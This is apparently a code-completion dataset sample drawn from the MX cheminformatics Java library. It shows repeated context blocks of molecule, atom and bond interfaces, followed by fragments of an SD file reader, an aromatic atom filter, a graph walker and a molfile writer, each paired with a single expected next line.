// public static Molecule readMolfile(String molfile, boolean virtualizeHydrogens)
// {
// Molecule mol = readMolfile(molfile);
//
// if (virtualizeHydrogens)
// {
// virtualizeHydrogens(mol);
// }
//
// return mol;
// }
//
// public static String writeMolfile(Molecule molecule)
// {
// return writer.write(molecule);
// }
//
// public static void virtualizeHydrogens(Molecule molecule)
// {
// List toStrip = new ArrayList();
//
// for (int i = 0; i < molecule.countAtoms(); i++)
// {
// Atom atom = molecule.getAtom(i);
//
// recordVirtualizableHydrogens(atom, toStrip);
// }
//
// if (toStrip.isEmpty()) return;
//
// molecule.beginModify();
//
// for (int i = 0; i < toStrip.size(); i++)
// {
// Atom atom = (Atom) toStrip.get(i);
//
// molecule.removeAtom(atom);
// }
//
// molecule.endModify();
// }
//
// public static boolean isVirtualizableHydrogen(Atom atom)
// {
// if (!hydrogen.equals(atom.getSymbol()))
// {
// return false;
// }
//
// if (atom.hasSingleIsotope() || atom.countNeighbors() != 1)
// {
// return false;
// }
//
// Bond[] bonds = atom.getBonds();
//
// return bonds[0].getStereo() == 0 && bonds[0].getType() == 1;
// }
//
// public static boolean isVirtualizableHydrogenBond(Bond bond)
// {
// if (!(hydrogen.equals(bond.getSource().getSymbol()) || hydrogen.equals(bond.getTarget().getSymbol())))
// {
// return false;
// }
//
// if (hydrogen.equals(bond.getSource().getSymbol()) && hydrogen.equals(bond.getTarget().getSymbol()))
// {
// return false;
// }
//
// return bond.getStereo() == 0 && bond.getType() == 1;
// }
//
// private static void recordVirtualizableHydrogens(Atom atom, List toStrip)
// {
// if (!hydrogenCounter.isVirtualizableHeavyAtom(atom)) return;
//
// Bond[] bonds = atom.getBonds();
//
// for (int i = 0; i < bonds.length; i++)
// {
// Bond bond = bonds[i];
// Atom neighbor = bond.getMate(atom);
//
// if (hydrogen.equals(neighbor.getSymbol()))
// {
// if (neighbor.hasSingleIsotope()) continue;
// if (bond.getStereo() != 0) continue;
//
// toStrip.add(neighbor);
// }
// }
// }
// }
| import java.io.IOException;
import java.io.Reader;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import com.metamolecular.mx.model.Molecule;
import com.metamolecular.mx.model.MoleculeKit;
import java.io.BufferedReader;
import java.io.FileReader; |
line = reader.readLine();
}
}
catch (IOException e)
{
throw new RuntimeException("An unexpected IO error occurred while reading file.", e);
}
record = buff.toString();
}
public String getData(String key)
{
assertRecordLoaded();
Pattern pattern = keyPatterns.get(key);
if (pattern == null)
{
pattern = Pattern.compile(".*^> *?<" + key + ">$(.*?)$^$.*", Pattern.MULTILINE | Pattern.DOTALL);
keyPatterns.put(key, pattern);
}
Matcher matcher = pattern.matcher(record);
return matcher.matches() ? matcher.group(1).trim() : "";
}
| // Path: src/com/metamolecular/mx/model/Molecule.java
// public interface Molecule
// {
// public int countAtoms();
//
// public int countBonds();
//
// public int countSuperatoms();
//
// public Atom getAtom(int index);
//
// public Bond getBond(int index);
//
// public Bond getBond(Atom source, Atom target);
//
// public Superatom getSuperatom(int index);
//
// public Superatom addSuperatom();
//
// public Atom addAtom(String symbol, double x, double y, double z);
//
// public Atom addAtom(String symbol);
//
// public void removeAtom(Atom atom);
//
// public Bond connect(Atom source, Atom target, int type, int stereo);
//
// public Bond connect(Atom source, Atom target, int type);
//
// public void removeBond(Bond bond);
//
// public void disconnect(Atom source, Atom target);
//
// public void removeSuperatom(Superatom substructure);
//
// public void clear();
//
// public void beginModify();
//
// public void endModify();
//
// public void addChangeListener(ChangeListener listener);
//
// public void removeChangeListener(ChangeListener listener);
//
// public Molecule copy();
//
// public void copy(Molecule molecule);
// }
//
// Path: src/com/metamolecular/mx/model/MoleculeKit.java
// public class MoleculeKit
// {
// private static MolfileReader reader;
// private static MolfileWriter writer;
// private static VirtualHydrogenCounter hydrogenCounter;
// private static String hydrogen = "H";
// private static MassCalculator massCalculator;
//
// static
// {
// reader = new MolfileReader();
// writer = new MolfileWriter();
// massCalculator = new MassCalculator();
// hydrogenCounter = new VirtualHydrogenCounter();
// }
//
// /**
// *
// */
// private MoleculeKit()
// {
//
// }
//
// public static double getMass(Molecule molecule)
// {
// return massCalculator.findAveragedMass(molecule);
// }
//
// public static Molecule readMolfile(String molfile)
// {
// Molecule result = new DefaultMolecule();
//
// reader.read(result, molfile.replaceAll("\\\\n", "\n"));
//
// return result;
// }
//
// public static Molecule readMolfile(String molfile, boolean virtualizeHydrogens)
// {
// Molecule mol = readMolfile(molfile);
//
// if (virtualizeHydrogens)
// {
// virtualizeHydrogens(mol);
// }
//
// return mol;
// }
//
// public static String writeMolfile(Molecule molecule)
// {
// return writer.write(molecule);
// }
//
// public static void virtualizeHydrogens(Molecule molecule)
// {
// List toStrip = new ArrayList();
//
// for (int i = 0; i < molecule.countAtoms(); i++)
// {
// Atom atom = molecule.getAtom(i);
//
// recordVirtualizableHydrogens(atom, toStrip);
// }
//
// if (toStrip.isEmpty()) return;
//
// molecule.beginModify();
//
// for (int i = 0; i < toStrip.size(); i++)
// {
// Atom atom = (Atom) toStrip.get(i);
//
// molecule.removeAtom(atom);
// }
//
// molecule.endModify();
// }
//
// public static boolean isVirtualizableHydrogen(Atom atom)
// {
// if (!hydrogen.equals(atom.getSymbol()))
// {
// return false;
// }
//
// if (atom.hasSingleIsotope() || atom.countNeighbors() != 1)
// {
// return false;
// }
//
// Bond[] bonds = atom.getBonds();
//
// return bonds[0].getStereo() == 0 && bonds[0].getType() == 1;
// }
//
// public static boolean isVirtualizableHydrogenBond(Bond bond)
// {
// if (!(hydrogen.equals(bond.getSource().getSymbol()) || hydrogen.equals(bond.getTarget().getSymbol())))
// {
// return false;
// }
//
// if (hydrogen.equals(bond.getSource().getSymbol()) && hydrogen.equals(bond.getTarget().getSymbol()))
// {
// return false;
// }
//
// return bond.getStereo() == 0 && bond.getType() == 1;
// }
//
// private static void recordVirtualizableHydrogens(Atom atom, List toStrip)
// {
// if (!hydrogenCounter.isVirtualizableHeavyAtom(atom)) return;
//
// Bond[] bonds = atom.getBonds();
//
// for (int i = 0; i < bonds.length; i++)
// {
// Bond bond = bonds[i];
// Atom neighbor = bond.getMate(atom);
//
// if (hydrogen.equals(neighbor.getSymbol()))
// {
// if (neighbor.hasSingleIsotope()) continue;
// if (bond.getStereo() != 0) continue;
//
// toStrip.add(neighbor);
// }
// }
// }
// }
// Path: src/com/metamolecular/mx/io/mdl/SDFileReader.java
import java.io.IOException;
import java.io.Reader;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import com.metamolecular.mx.model.Molecule;
import com.metamolecular.mx.model.MoleculeKit;
import java.io.BufferedReader;
import java.io.FileReader;
line = reader.readLine();
}
}
catch (IOException e)
{
throw new RuntimeException("An unexpected IO error occurred while reading file.", e);
}
record = buff.toString();
}
public String getData(String key)
{
assertRecordLoaded();
Pattern pattern = keyPatterns.get(key);
if (pattern == null)
{
pattern = Pattern.compile(".*^> *?<" + key + ">$(.*?)$^$.*", Pattern.MULTILINE | Pattern.DOTALL);
keyPatterns.put(key, pattern);
}
Matcher matcher = pattern.matcher(record);
return matcher.matches() ? matcher.group(1).trim() : "";
}
| public Molecule getMolecule() |
metamolecular/mx | src/com/metamolecular/mx/io/mdl/SDFileReader.java | // Path: src/com/metamolecular/mx/model/Molecule.java
// public interface Molecule
// {
// public int countAtoms();
//
// public int countBonds();
//
// public int countSuperatoms();
//
// public Atom getAtom(int index);
//
// public Bond getBond(int index);
//
// public Bond getBond(Atom source, Atom target);
//
// public Superatom getSuperatom(int index);
//
// public Superatom addSuperatom();
//
// public Atom addAtom(String symbol, double x, double y, double z);
//
// public Atom addAtom(String symbol);
//
// public void removeAtom(Atom atom);
//
// public Bond connect(Atom source, Atom target, int type, int stereo);
//
// public Bond connect(Atom source, Atom target, int type);
//
// public void removeBond(Bond bond);
//
// public void disconnect(Atom source, Atom target);
//
// public void removeSuperatom(Superatom substructure);
//
// public void clear();
//
// public void beginModify();
//
// public void endModify();
//
// public void addChangeListener(ChangeListener listener);
//
// public void removeChangeListener(ChangeListener listener);
//
// public Molecule copy();
//
// public void copy(Molecule molecule);
// }
//
// Path: src/com/metamolecular/mx/model/MoleculeKit.java
// public class MoleculeKit
// {
// private static MolfileReader reader;
// private static MolfileWriter writer;
// private static VirtualHydrogenCounter hydrogenCounter;
// private static String hydrogen = "H";
// private static MassCalculator massCalculator;
//
// static
// {
// reader = new MolfileReader();
// writer = new MolfileWriter();
// massCalculator = new MassCalculator();
// hydrogenCounter = new VirtualHydrogenCounter();
// }
//
// /**
// *
// */
// private MoleculeKit()
// {
//
// }
//
// public static double getMass(Molecule molecule)
// {
// return massCalculator.findAveragedMass(molecule);
// }
//
// public static Molecule readMolfile(String molfile)
// {
// Molecule result = new DefaultMolecule();
//
// reader.read(result, molfile.replaceAll("\\\\n", "\n"));
//
// return result;
// }
//
// public static Molecule readMolfile(String molfile, boolean virtualizeHydrogens)
// {
// Molecule mol = readMolfile(molfile);
//
// if (virtualizeHydrogens)
// {
// virtualizeHydrogens(mol);
// }
//
// return mol;
// }
//
// public static String writeMolfile(Molecule molecule)
// {
// return writer.write(molecule);
// }
//
// public static void virtualizeHydrogens(Molecule molecule)
// {
// List toStrip = new ArrayList();
//
// for (int i = 0; i < molecule.countAtoms(); i++)
// {
// Atom atom = molecule.getAtom(i);
//
// recordVirtualizableHydrogens(atom, toStrip);
// }
//
// if (toStrip.isEmpty()) return;
//
// molecule.beginModify();
//
// for (int i = 0; i < toStrip.size(); i++)
// {
// Atom atom = (Atom) toStrip.get(i);
//
// molecule.removeAtom(atom);
// }
//
// molecule.endModify();
// }
//
// public static boolean isVirtualizableHydrogen(Atom atom)
// {
// if (!hydrogen.equals(atom.getSymbol()))
// {
// return false;
// }
//
// if (atom.hasSingleIsotope() || atom.countNeighbors() != 1)
// {
// return false;
// }
//
// Bond[] bonds = atom.getBonds();
//
// return bonds[0].getStereo() == 0 && bonds[0].getType() == 1;
// }
//
// public static boolean isVirtualizableHydrogenBond(Bond bond)
// {
// if (!(hydrogen.equals(bond.getSource().getSymbol()) || hydrogen.equals(bond.getTarget().getSymbol())))
// {
// return false;
// }
//
// if (hydrogen.equals(bond.getSource().getSymbol()) && hydrogen.equals(bond.getTarget().getSymbol()))
// {
// return false;
// }
//
// return bond.getStereo() == 0 && bond.getType() == 1;
// }
//
// private static void recordVirtualizableHydrogens(Atom atom, List toStrip)
// {
// if (!hydrogenCounter.isVirtualizableHeavyAtom(atom)) return;
//
// Bond[] bonds = atom.getBonds();
//
// for (int i = 0; i < bonds.length; i++)
// {
// Bond bond = bonds[i];
// Atom neighbor = bond.getMate(atom);
//
// if (hydrogen.equals(neighbor.getSymbol()))
// {
// if (neighbor.hasSingleIsotope()) continue;
// if (bond.getStereo() != 0) continue;
//
// toStrip.add(neighbor);
// }
// }
// }
// }
| import java.io.IOException;
import java.io.Reader;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import com.metamolecular.mx.model.Molecule;
import com.metamolecular.mx.model.MoleculeKit;
import java.io.BufferedReader;
import java.io.FileReader; | }
public String getData(String key)
{
assertRecordLoaded();
Pattern pattern = keyPatterns.get(key);
if (pattern == null)
{
pattern = Pattern.compile(".*^> *?<" + key + ">$(.*?)$^$.*", Pattern.MULTILINE | Pattern.DOTALL);
keyPatterns.put(key, pattern);
}
Matcher matcher = pattern.matcher(record);
return matcher.matches() ? matcher.group(1).trim() : "";
}
public Molecule getMolecule()
{
assertRecordLoaded();
Matcher matcher = molfilePattern.matcher(record);
matcher.find();
String molfile = matcher.group(1);
| // Path: src/com/metamolecular/mx/model/Molecule.java
// public interface Molecule
// {
// public int countAtoms();
//
// public int countBonds();
//
// public int countSuperatoms();
//
// public Atom getAtom(int index);
//
// public Bond getBond(int index);
//
// public Bond getBond(Atom source, Atom target);
//
// public Superatom getSuperatom(int index);
//
// public Superatom addSuperatom();
//
// public Atom addAtom(String symbol, double x, double y, double z);
//
// public Atom addAtom(String symbol);
//
// public void removeAtom(Atom atom);
//
// public Bond connect(Atom source, Atom target, int type, int stereo);
//
// public Bond connect(Atom source, Atom target, int type);
//
// public void removeBond(Bond bond);
//
// public void disconnect(Atom source, Atom target);
//
// public void removeSuperatom(Superatom substructure);
//
// public void clear();
//
// public void beginModify();
//
// public void endModify();
//
// public void addChangeListener(ChangeListener listener);
//
// public void removeChangeListener(ChangeListener listener);
//
// public Molecule copy();
//
// public void copy(Molecule molecule);
// }
//
// Path: src/com/metamolecular/mx/model/MoleculeKit.java
// public class MoleculeKit
// {
// private static MolfileReader reader;
// private static MolfileWriter writer;
// private static VirtualHydrogenCounter hydrogenCounter;
// private static String hydrogen = "H";
// private static MassCalculator massCalculator;
//
// static
// {
// reader = new MolfileReader();
// writer = new MolfileWriter();
// massCalculator = new MassCalculator();
// hydrogenCounter = new VirtualHydrogenCounter();
// }
//
// /**
// *
// */
// private MoleculeKit()
// {
//
// }
//
// public static double getMass(Molecule molecule)
// {
// return massCalculator.findAveragedMass(molecule);
// }
//
// public static Molecule readMolfile(String molfile)
// {
// Molecule result = new DefaultMolecule();
//
// reader.read(result, molfile.replaceAll("\\\\n", "\n"));
//
// return result;
// }
//
// public static Molecule readMolfile(String molfile, boolean virtualizeHydrogens)
// {
// Molecule mol = readMolfile(molfile);
//
// if (virtualizeHydrogens)
// {
// virtualizeHydrogens(mol);
// }
//
// return mol;
// }
//
// public static String writeMolfile(Molecule molecule)
// {
// return writer.write(molecule);
// }
//
// public static void virtualizeHydrogens(Molecule molecule)
// {
// List toStrip = new ArrayList();
//
// for (int i = 0; i < molecule.countAtoms(); i++)
// {
// Atom atom = molecule.getAtom(i);
//
// recordVirtualizableHydrogens(atom, toStrip);
// }
//
// if (toStrip.isEmpty()) return;
//
// molecule.beginModify();
//
// for (int i = 0; i < toStrip.size(); i++)
// {
// Atom atom = (Atom) toStrip.get(i);
//
// molecule.removeAtom(atom);
// }
//
// molecule.endModify();
// }
//
// public static boolean isVirtualizableHydrogen(Atom atom)
// {
// if (!hydrogen.equals(atom.getSymbol()))
// {
// return false;
// }
//
// if (atom.hasSingleIsotope() || atom.countNeighbors() != 1)
// {
// return false;
// }
//
// Bond[] bonds = atom.getBonds();
//
// return bonds[0].getStereo() == 0 && bonds[0].getType() == 1;
// }
//
// public static boolean isVirtualizableHydrogenBond(Bond bond)
// {
// if (!(hydrogen.equals(bond.getSource().getSymbol()) || hydrogen.equals(bond.getTarget().getSymbol())))
// {
// return false;
// }
//
// if (hydrogen.equals(bond.getSource().getSymbol()) && hydrogen.equals(bond.getTarget().getSymbol()))
// {
// return false;
// }
//
// return bond.getStereo() == 0 && bond.getType() == 1;
// }
//
// private static void recordVirtualizableHydrogens(Atom atom, List toStrip)
// {
// if (!hydrogenCounter.isVirtualizableHeavyAtom(atom)) return;
//
// Bond[] bonds = atom.getBonds();
//
// for (int i = 0; i < bonds.length; i++)
// {
// Bond bond = bonds[i];
// Atom neighbor = bond.getMate(atom);
//
// if (hydrogen.equals(neighbor.getSymbol()))
// {
// if (neighbor.hasSingleIsotope()) continue;
// if (bond.getStereo() != 0) continue;
//
// toStrip.add(neighbor);
// }
// }
// }
// }
// Path: src/com/metamolecular/mx/io/mdl/SDFileReader.java
import java.io.IOException;
import java.io.Reader;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.List;
import java.util.Map;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import com.metamolecular.mx.model.Molecule;
import com.metamolecular.mx.model.MoleculeKit;
import java.io.BufferedReader;
import java.io.FileReader;
}
public String getData(String key)
{
assertRecordLoaded();
Pattern pattern = keyPatterns.get(key);
if (pattern == null)
{
pattern = Pattern.compile(".*^> *?<" + key + ">$(.*?)$^$.*", Pattern.MULTILINE | Pattern.DOTALL);
keyPatterns.put(key, pattern);
}
Matcher matcher = pattern.matcher(record);
return matcher.matches() ? matcher.group(1).trim() : "";
}
public Molecule getMolecule()
{
assertRecordLoaded();
Matcher matcher = molfilePattern.matcher(record);
matcher.find();
String molfile = matcher.group(1);
| return MoleculeKit.readMolfile(molfile); |
metamolecular/mx | src/com/metamolecular/mx/query/AromaticAtomFilter.java | // Path: src/com/metamolecular/mx/model/Atom.java
// public interface Atom
// {
// public String getSymbol();
//
// public void setSymbol(String newSymbol);
//
// public int getIndex();
//
// public void setIsotope(int isotope);
//
// public int getIsotope();
//
// public boolean hasSingleIsotope();
//
// public void setCharge(int charge);
//
// public int getCharge();
//
// public void setRadical(int radical);
//
// public int getRadical();
//
// public Atom[] getNeighbors();
//
// public Bond[] getBonds();
//
// public Bond getBond(Atom neighbor);
//
// public int countNeighbors();
//
// public boolean isConnectedTo(Atom atom);
//
// public int countVirtualHydrogens();
//
// public double getX();
//
// public double getY();
//
// public double getZ();
//
// public void move(double x, double y, double z);
//
// public int getValence();
//
// public Molecule getMolecule();
// }
| import com.metamolecular.mx.model.Atom; | /*
* MX - Essential Cheminformatics
*
* Copyright (c) 2007-2009 Metamolecular, LLC
*
* http://metamolecular.com/mx
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package com.metamolecular.mx.query;
/**
* @author Richard L. Apodaca <rapodaca at metamolecular.com>
*/
public class AromaticAtomFilter implements AtomMatcher
{
public AromaticAtomFilter()
{
}
| // Path: src/com/metamolecular/mx/model/Atom.java
// public interface Atom
// {
// public String getSymbol();
//
// public void setSymbol(String newSymbol);
//
// public int getIndex();
//
// public void setIsotope(int isotope);
//
// public int getIsotope();
//
// public boolean hasSingleIsotope();
//
// public void setCharge(int charge);
//
// public int getCharge();
//
// public void setRadical(int radical);
//
// public int getRadical();
//
// public Atom[] getNeighbors();
//
// public Bond[] getBonds();
//
// public Bond getBond(Atom neighbor);
//
// public int countNeighbors();
//
// public boolean isConnectedTo(Atom atom);
//
// public int countVirtualHydrogens();
//
// public double getX();
//
// public double getY();
//
// public double getZ();
//
// public void move(double x, double y, double z);
//
// public int getValence();
//
// public Molecule getMolecule();
// }
// Path: src/com/metamolecular/mx/query/AromaticAtomFilter.java
import com.metamolecular.mx.model.Atom;
/*
* MX - Essential Cheminformatics
*
* Copyright (c) 2007-2009 Metamolecular, LLC
*
* http://metamolecular.com/mx
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package com.metamolecular.mx.query;
/**
* @author Richard L. Apodaca <rapodaca at metamolecular.com>
*/
public class AromaticAtomFilter implements AtomMatcher
{
public AromaticAtomFilter()
{
}
| public boolean matches(Atom atom) |
metamolecular/mx | src/com/metamolecular/mx/walk/Walker.java | // Path: src/com/metamolecular/mx/model/Atom.java
// public interface Atom
// {
// public String getSymbol();
//
// public void setSymbol(String newSymbol);
//
// public int getIndex();
//
// public void setIsotope(int isotope);
//
// public int getIsotope();
//
// public boolean hasSingleIsotope();
//
// public void setCharge(int charge);
//
// public int getCharge();
//
// public void setRadical(int radical);
//
// public int getRadical();
//
// public Atom[] getNeighbors();
//
// public Bond[] getBonds();
//
// public Bond getBond(Atom neighbor);
//
// public int countNeighbors();
//
// public boolean isConnectedTo(Atom atom);
//
// public int countVirtualHydrogens();
//
// public double getX();
//
// public double getY();
//
// public double getZ();
//
// public void move(double x, double y, double z);
//
// public int getValence();
//
// public Molecule getMolecule();
// }
| import com.metamolecular.mx.model.Atom; | /*
* MX - Essential Cheminformatics
*
* Copyright (c) 2007-2009 Metamolecular, LLC
*
* http://metamolecular.com/mx
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package com.metamolecular.mx.walk;
/**
* @author Richard L. Apodaca <rapodaca at metamolecular.com>
*/
public interface Walker
{
public void setMaximumDepth(int depth);
public int getMaximumDepth();
| // Path: src/com/metamolecular/mx/model/Atom.java
// public interface Atom
// {
// public String getSymbol();
//
// public void setSymbol(String newSymbol);
//
// public int getIndex();
//
// public void setIsotope(int isotope);
//
// public int getIsotope();
//
// public boolean hasSingleIsotope();
//
// public void setCharge(int charge);
//
// public int getCharge();
//
// public void setRadical(int radical);
//
// public int getRadical();
//
// public Atom[] getNeighbors();
//
// public Bond[] getBonds();
//
// public Bond getBond(Atom neighbor);
//
// public int countNeighbors();
//
// public boolean isConnectedTo(Atom atom);
//
// public int countVirtualHydrogens();
//
// public double getX();
//
// public double getY();
//
// public double getZ();
//
// public void move(double x, double y, double z);
//
// public int getValence();
//
// public Molecule getMolecule();
// }
// Path: src/com/metamolecular/mx/walk/Walker.java
import com.metamolecular.mx.model.Atom;
/*
* MX - Essential Cheminformatics
*
* Copyright (c) 2007-2009 Metamolecular, LLC
*
* http://metamolecular.com/mx
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package com.metamolecular.mx.walk;
/**
* @author Richard L. Apodaca <rapodaca at metamolecular.com>
*/
public interface Walker
{
public void setMaximumDepth(int depth);
public int getMaximumDepth();
| public void walk(Atom atom, Reporter reporter); |
metamolecular/mx | src/com/metamolecular/mx/io/mdl/MolfileWriter.java | // Path: src/com/metamolecular/mx/model/Atom.java
// public interface Atom
// {
// public String getSymbol();
//
// public void setSymbol(String newSymbol);
//
// public int getIndex();
//
// public void setIsotope(int isotope);
//
// public int getIsotope();
//
// public boolean hasSingleIsotope();
//
// public void setCharge(int charge);
//
// public int getCharge();
//
// public void setRadical(int radical);
//
// public int getRadical();
//
// public Atom[] getNeighbors();
//
// public Bond[] getBonds();
//
// public Bond getBond(Atom neighbor);
//
// public int countNeighbors();
//
// public boolean isConnectedTo(Atom atom);
//
// public int countVirtualHydrogens();
//
// public double getX();
//
// public double getY();
//
// public double getZ();
//
// public void move(double x, double y, double z);
//
// public int getValence();
//
// public Molecule getMolecule();
// }
//
// Path: src/com/metamolecular/mx/model/Bond.java
// public interface Bond
// {
// public int getIndex();
//
// public Atom getSource();
//
// public Atom getTarget();
//
// public Atom getMate(Atom atom);
//
// public boolean contains(Atom atom);
//
// public void setType(int type);
//
// public int getType();
//
// public void setStereo(int stereo);
//
// public int getStereo();
//
// public void reverse();
//
// public Molecule getMolecule();
//
// public Atom[] getNeighborAtoms();
// }
//
// Path: src/com/metamolecular/mx/model/Molecule.java
// public interface Molecule
// {
// public int countAtoms();
//
// public int countBonds();
//
// public int countSuperatoms();
//
// public Atom getAtom(int index);
//
// public Bond getBond(int index);
//
// public Bond getBond(Atom source, Atom target);
//
// public Superatom getSuperatom(int index);
//
// public Superatom addSuperatom();
//
// public Atom addAtom(String symbol, double x, double y, double z);
//
// public Atom addAtom(String symbol);
//
// public void removeAtom(Atom atom);
//
// public Bond connect(Atom source, Atom target, int type, int stereo);
//
// public Bond connect(Atom source, Atom target, int type);
//
// public void removeBond(Bond bond);
//
// public void disconnect(Atom source, Atom target);
//
// public void removeSuperatom(Superatom substructure);
//
// public void clear();
//
// public void beginModify();
//
// public void endModify();
//
// public void addChangeListener(ChangeListener listener);
//
// public void removeChangeListener(ChangeListener listener);
//
// public Molecule copy();
//
// public void copy(Molecule molecule);
// }
//
// Path: src/com/metamolecular/mx/model/Superatom.java
// public interface Superatom
// {
// public String getLabel();
//
// public void setLabel(String label);
//
// public int countAtoms();
//
// public int countCrossingBonds();
//
// public Atom getAtom(int index);
//
// public Bond getCrossingBond(int index);
//
// public boolean contains(Atom atom);
//
// public boolean contains(Bond bond);
//
// public void addAtom(Atom atom);
//
// public void removeAtom(Atom atom);
//
// public void addCrossingBond(Bond bond);
//
// public void removeCrossingBond(Bond bond);
//
// public void setCrossingVector(Bond bond, double x, double y);
//
// public double getCrossingVectorX(Bond bond);
//
// public double getCrossingVectorY(Bond bond);
//
// public int getIndex();
//
// public Molecule getMolecule();
// }
| import com.metamolecular.mx.model.Atom;
import com.metamolecular.mx.model.Bond;
import com.metamolecular.mx.model.Molecule;
import com.metamolecular.mx.model.Superatom;
import java.text.DecimalFormat;
import java.text.DecimalFormatSymbols;
import java.util.List;
import java.util.ArrayList; | /*
* MX - Essential Cheminformatics
*
* Copyright (c) 2007-2009 Metamolecular, LLC
*
* http://metamolecular.com/mx
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
package com.metamolecular.mx.io.mdl;
/**
* @author Richard L. Apodaca <rapodaca at metamolecular.com>
*/
public class MolfileWriter
{
private static String ZERO2 = " 0";
private static String ZERO3 = " 0";
private static String CHIRAL_OFF = ZERO3;
private static String VERSION = " V2000";
private static String NEWLINE = "\n";
private static DecimalFormat COORD = new DecimalFormat("####0.0000");
private static String BLANK = " ";
private static String M = "M ";
private static String M_END = M + "END";
static
{
DecimalFormatSymbols symbols = new DecimalFormatSymbols();
symbols.setDecimalSeparator(".".charAt(0));
COORD.setDecimalFormatSymbols(symbols);
}
public MolfileWriter()
{
}
| // Path: src/com/metamolecular/mx/model/Atom.java
// public interface Atom
// {
// public String getSymbol();
//
// public void setSymbol(String newSymbol);
//
// public int getIndex();
//
// public void setIsotope(int isotope);
//
// public int getIsotope();
//
// public boolean hasSingleIsotope();
//
// public void setCharge(int charge);
